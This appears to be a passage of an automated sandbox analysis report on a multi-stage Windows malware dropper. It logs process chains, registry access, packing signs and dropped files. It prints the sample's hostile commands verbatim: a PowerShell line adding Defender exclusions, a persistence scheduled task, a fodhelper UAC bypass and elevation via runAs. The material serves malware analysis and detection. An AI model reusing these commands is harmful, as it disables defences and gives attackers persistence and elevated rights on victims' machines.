Source: C:\Users\user\AppData\Local\Temp\FourthX.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\user\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\Sysnative\cmd.exe /C fodhelper
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe fodhelper
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\system32\fodhelper.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\6C7B.exe C:\Users\user\AppData\Local\Temp\6C7B.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\742D.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\7CB9.exe C:\Users\user\AppData\Local\Temp\7CB9.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\87C6.exe C:\Users\user\AppData\Local\Temp\87C6.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\98EE.exe C:\Users\user\AppData\Local\Temp\98EE.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C33B.exe C:\Users\user\AppData\Local\Temp\C33B.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D741.exe C:\Users\user\AppData\Local\Temp\D741.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe /s C:\Users\user\AppData\Local\Temp\742D.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Process created: C:\Users\user\AppData\Local\Temp\87C6.exe C:\Users\user\AppData\Local\Temp\87C6.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\98EE.exe	Process created: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp "C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp" /SL5="$E0076,7414031,54272,C:\Users\user\AppData\Local\Temp\98EE.exe"
Source: C:\Users\user\AppData\Local\Temp\98EE.exe	Process created: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp "C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp" /SL5="$80272,7414031,54272,C:\Users\user\AppData\Local\Temp\98EE.exe" /SPAWNWND=$302A2 /NOTIFYWND=$E0076
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Process created: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe "C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe" -i
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Process created: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe "C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe" -s
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 7096 -ip 7096
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7096 -s 1448
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\Sysnative\cmd.exe /C fodhelper
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: C:\Users\user\AppData\Local\Temp\C33B.exe C:\Users\user\AppData\Local\Temp\C33B.exe
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process created: C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe "C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe"
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process created: C:\Users\user\AppData\Local\Temp\InstallSetup4.exe "C:\Users\user\AppData\Local\Temp\InstallSetup4.exe"
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process created: C:\Users\user\AppData\Local\Temp\FourthX.exe "C:\Users\user\AppData\Local\Temp\FourthX.exe"
Source: C:\ProgramData\Drivers\csrss.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\Sysnative\cmd.exe /C fodhelper
Source: C:\Users\user\AppData\Local\Temp\InstallSetup4.exe	Process created: C:\Users\user\AppData\Local\Temp\BroomSetup.exe C:\Users\user\AppData\Local\Temp\BroomSetup.exe
Source: C:\Users\user\AppData\Local\Temp\InstallSetup4.exe	Process created: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
Source: C:\Users\user\AppData\Local\Temp\FourthX.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process "C:\Users\user\AppData\Local\Temp\FourthX.exe" -Verb runAs
Source: C:\Users\user\AppData\Local\Temp\BroomSetup.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Temp\Task.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 1251
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\user\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
Source: C:\Users\user\AppData\Local\Temp\FourthX.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\FourthX.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\FourthX.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\FourthX.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\FourthX.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\FourthX.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe fodhelper
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\system32\fodhelper.exe"

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp

Window found: window name: TMainForm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\C33B.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Source: C:\Users\user\Desktop\5Yzloz244r.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: c:\omtnkdoj\bnwv\yogisfk\cqf.pdb source: 6C7B.exe, 00000004.00000000.1897918662.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 6C7B.exe, 00000004.00000002.1908564545.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 6C7B.exe, 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 6C7B.exe, 0000000A.00000000.1907947226.0000000000410000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: c:\bfllk\pdgh\qovxk\wqdtbmac.pdb source: 6C7B.exe, 0000000A.00000002.1946373720.0000000000701000.00000004.00000020.00020000.00000000.sdmp, 6C7B.exe, 0000000A.00000002.1955248581.0000000004A81000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\jfmo\tlcp\nyvnyt\obocmwsb.pdb source: 6C7B.exe, 0000000A.00000002.1950769254.0000000002956000.00000004.00000020.00020000.00000000.sdmp, 6C7B.exe, 0000000A.00000002.1955248581.0000000004A81000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\bfllk\pdgh\qovxk\wqdtbmac.pdb/; source: 6C7B.exe, 0000000A.00000002.1946373720.0000000000701000.00000004.00000020.00020000.00000000.sdmp, 6C7B.exe, 0000000A.00000002.1955248581.0000000004A81000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\jfmo\tlcp\nyvnyt\obocmwsb.pdb/; source: 6C7B.exe, 0000000A.00000002.1950769254.0000000002956000.00000004.00000020.00020000.00000000.sdmp, 6C7B.exe, 0000000A.00000002.1955248581.0000000004A81000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\5Yzloz244r.exe	Unpacked PE file: 0.2.5Yzloz244r.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.diconeb:W;.tls:W;.kesufo:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Unpacked PE file: 3.2.jjdjbtc.400000.0.unpack .text:ER;.rdata:R;.data:W;.diconeb:W;.tls:W;.kesufo:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Unpacked PE file: 21.2.vbsmartcardviewer.exe.400000.0.unpack .text:EW;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.vmp0:ER;.rsrc:R;
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Unpacked PE file: 22.2.vbsmartcardviewer.exe.400000.0.unpack .text:EW;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.vmp0:ER;.rsrc:R;
Source: C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe	Unpacked PE file: 29.2.288c47bbc1871b439df19ff4df68f076.exe.400000.7.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.reloc:R;.symtab:R;
Source: C:\Users\user\AppData\Local\Temp\D741.exe	Unpacked PE file: 32.2.D741.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	Unpacked PE file: 39.2.nsdE4F9.tmp.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Unpacked PE file: 21.2.vbsmartcardviewer.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Unpacked PE file: 22.2.vbsmartcardviewer.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe	Unpacked PE file: 29.2.288c47bbc1871b439df19ff4df68f076.exe.400000.7.unpack
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	Unpacked PE file: 39.2.nsdE4F9.tmp.400000.0.unpack

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Temp\FourthX.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process "C:\Users\user\AppData\Local\Temp\FourthX.exe" -Verb runAs
Source: C:\Users\user\AppData\Local\Temp\FourthX.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process "C:\Users\user\AppData\Local\Temp\FourthX.exe" -Verb runAs

Source: C:\Users\user\Desktop\5Yzloz244r.exe

Code function: 0_2_00420AF0 LoadLibraryW,GetProcAddress,VirtualProtect,

0_2_00420AF0

Source: initial sample

Static PE information: section where entry point is pointing to: .vmp@3

Source: BroomSetup.exe.30.dr	Static PE information: real checksum: 0x0 should be: 0x4cbbf8
Source: vueqjgslwynd.exe.41.dr	Static PE information: real checksum: 0x0 should be: 0x29585f
Source: _isdecmp.dll.20.dr	Static PE information: real checksum: 0x0 should be: 0x123ff
Source: INetC.dll.30.dr	Static PE information: real checksum: 0x0 should be: 0x69a0
Source: 98EE.tmp.16.dr	Static PE information: real checksum: 0x0 should be: 0xb389e
Source: InstallSetup4.exe.26.dr	Static PE information: real checksum: 0x0 should be: 0x20eded
Source: C33B.exe.1.dr	Static PE information: real checksum: 0x0 should be: 0x8be514
Source: 98EE.exe.1.dr	Static PE information: real checksum: 0x0 should be: 0x754f9c
Source: vbsmartcardviewer.exe.20.dr	Static PE information: real checksum: 0x0 should be: 0x2f219e
Source: is-NKCIS.tmp.20.dr	Static PE information: real checksum: 0x0 should be: 0xb015d
Source: _RegDLL.tmp.20.dr	Static PE information: real checksum: 0x0 should be: 0xc2b7
Source: _iscrypt.dll.20.dr	Static PE information: real checksum: 0x0 should be: 0x89d2
Source: _setup64.tmp.20.dr	Static PE information: real checksum: 0x0 should be: 0x8546
Source: FourthX.exe.26.dr	Static PE information: real checksum: 0x0 should be: 0x29585f
Source: 742D.dll.1.dr	Static PE information: real checksum: 0x0 should be: 0x303fd9
Source: 98EE.tmp.19.dr	Static PE information: real checksum: 0x0 should be: 0xb389e
Source: ObjectSerialization65.exe.21.dr	Static PE information: real checksum: 0x0 should be: 0x2f219e
Source: 288c47bbc1871b439df19ff4df68f076.exe.26.dr	Static PE information: real checksum: 0x420b8d should be: 0x42c6e2

Source: 5Yzloz244r.exe	Static PE information: section name: .diconeb
Source: 5Yzloz244r.exe	Static PE information: section name: .kesufo
Source: 87C6.exe.1.dr	Static PE information: section name: .fofufe
Source: 87C6.exe.1.dr	Static PE information: section name: .safaz
Source: 742D.dll.1.dr	Static PE information: section name: nqb
Source: 742D.dll.1.dr	Static PE information: section name: .qdata
Source: 742D.dll.1.dr	Static PE information: section name: xcg
Source: 742D.dll.1.dr	Static PE information: section name: HIcf6ht
Source: 7CB9.exe.1.dr	Static PE information: section name: .vmp@3
Source: 7CB9.exe.1.dr	Static PE information: section name: .vmp@3
Source: 7CB9.exe.1.dr	Static PE information: section name: .vmp@3
Source: jjdjbtc.1.dr	Static PE information: section name: .diconeb
Source: jjdjbtc.1.dr	Static PE information: section name: .kesufo
Source: csrss.exe.15.dr	Static PE information: section name: .fofufe
Source: csrss.exe.15.dr	Static PE information: section name: .safaz
Source: is-G5H9G.tmp.20.dr	Static PE information: section name: /4
Source: is-5CUFU.tmp.20.dr	Static PE information: section name: /4
Source: is-J7KQC.tmp.20.dr	Static PE information: section name: /4
Source: is-DBI1S.tmp.20.dr	Static PE information: section name: /4
Source: is-DIG7J.tmp.20.dr	Static PE information: section name: /4
Source: is-IUB5D.tmp.20.dr	Static PE information: section name: /4
Source: is-SGE0N.tmp.20.dr	Static PE information: section name: /4
Source: is-SBH8F.tmp.20.dr	Static PE information: section name: /4
Source: is-JTIBI.tmp.20.dr	Static PE information: section name: /4
Source: is-KGK8A.tmp.20.dr	Static PE information: section name: /4
Source: is-B1JQ9.tmp.20.dr	Static PE information: section name: /4
Source: is-PP7VD.tmp.20.dr	Static PE information: section name: /4
Source: is-FG4H6.tmp.20.dr	Static PE information: section name: /4
Source: FourthX.exe.26.dr	Static PE information: section name: .00cfg
Source: BroomSetup.exe.30.dr	Static PE information: section name: .didata
Source: freebl3.dll.39.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.39.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.39.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.39.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.39.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.39.dr	Static PE information: section name: .didat
Source: nss3.dll.39.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.39.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.39.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.39.dr	Static PE information: section name: .00cfg
Source: vueqjgslwynd.exe.41.dr	Static PE information: section name: .00cfg

Source: C:\Windows\explorer.exe

Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\742D.dll

Source: C:\Users\user\Desktop\5Yzloz244r.exe	Code function: 0_2_00403253 push eax; ret	0_2_0040332D
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Code function: 0_2_00401C64 push es; retf	0_2_00401C83
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Code function: 0_2_0040332A push eax; ret	0_2_0040332D
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Code function: 0_2_00402F91 push 60B44389h; retf	0_2_00402FAB
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Code function: 0_2_004213E0 push ecx; mov dword ptr [esp], 000343F0h	0_2_004213E1
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Code function: 0_2_005D1CCB push es; retf	0_2_005D1CEA
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Code function: 0_2_005D2FF8 push 60B44389h; retf	0_2_005D3012
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Code function: 3_2_00403253 push eax; ret	3_2_0040332D
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Code function: 3_2_00401C64 push es; retf	3_2_00401C83
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Code function: 3_2_0040332A push eax; ret	3_2_0040332D
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Code function: 3_2_00402F91 push 60B44389h; retf	3_2_00402FAB
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Code function: 3_2_004213E0 push ecx; mov dword ptr [esp], 000343F0h	3_2_004213E1
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Code function: 3_2_00471CCB push es; retf	3_2_00471CEA
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Code function: 3_2_00472FF8 push 60B44389h; retf	3_2_00473012
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: 4_2_0040A3BD push eax; retf	4_2_0040A3BE
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: 10_2_0040A3BD push eax; retf	10_2_0040A3BE
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Code function: 13_2_007FC713 push 8C34D431h; mov dword ptr [esp], edx	13_2_007FC718
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: 14_2_005CB960 push ecx; mov dword ptr [esp], 000343F0h	14_2_005CB961
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: 14_2_0040D4F3 push 3BFFFFFFh; retf	14_2_0040D4F8
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: 14_2_00401E25 push ecx; ret	14_2_00401E38
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: 14_2_0248E2EF push ebx; iretd	14_2_0248E2F7
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: 14_2_0254880A push 5A36841Dh; retf	14_2_02548825
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: 14_2_024E270A pushad ; ret	14_2_024E270C
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: 14_2_025807F8 push edx; retf	14_2_025807F9
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: 14_2_025487ED push ebp; retf	14_2_025487EE
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: 14_2_025804BD push cs; ret	14_2_025804BE

Source: 5Yzloz244r.exe	Static PE information: section name: .text entropy: 7.172204411757874
Source: E059.exe.1.dr	Static PE information: section name: .text entropy: 7.78984089955939
Source: 87C6.exe.1.dr	Static PE information: section name: .text entropy: 7.985255731332923
Source: 40BE.exe.1.dr	Static PE information: section name: .text entropy: 7.889222288846774
Source: 742D.dll.1.dr	Static PE information: section name: .text entropy: 7.997775821097952
Source: D741.exe.1.dr	Static PE information: section name: .text entropy: 7.660522121951478
Source: jjdjbtc.1.dr	Static PE information: section name: .text entropy: 7.172204411757874
Source: addjbtc.1.dr	Static PE information: section name: .text entropy: 7.660522121951478
Source: csrss.exe.15.dr	Static PE information: section name: .text entropy: 7.985255731332923
Source: syncUpd[1].exe.30.dr	Static PE information: section name: .text entropy: 7.69652194393808
Source: nsdE4F9.tmp.30.dr	Static PE information: section name: .text entropy: 7.69652194393808

Persistence and Installation Behavior

Contains functionality to infect the boot sector

Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	4_2_00408951
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	4_2_00408951
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	4_2_00408958
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	4_2_00408958
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	4_2_0040895B
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	4_2_0040895B
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: FindCloseChangeNotification,CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	10_2_0040895B
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: FindCloseChangeNotification,CreateFileA,DeviceIoControl, PHYSICALDRIVE0	10_2_0040895B
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: FindCloseChangeNotification,CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	10_2_00408951
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: FindCloseChangeNotification,CreateFileA,DeviceIoControl, PHYSICALDRIVE0	10_2_00408951
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: FindCloseChangeNotification,CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	10_2_00408958
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: FindCloseChangeNotification,CreateFileA,DeviceIoControl, PHYSICALDRIVE0	10_2_00408958

Drops PE files with benign system names

Source: C:\Users\user\AppData\Local\Temp\87C6.exe

File created: C:\ProgramData\Drivers\csrss.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
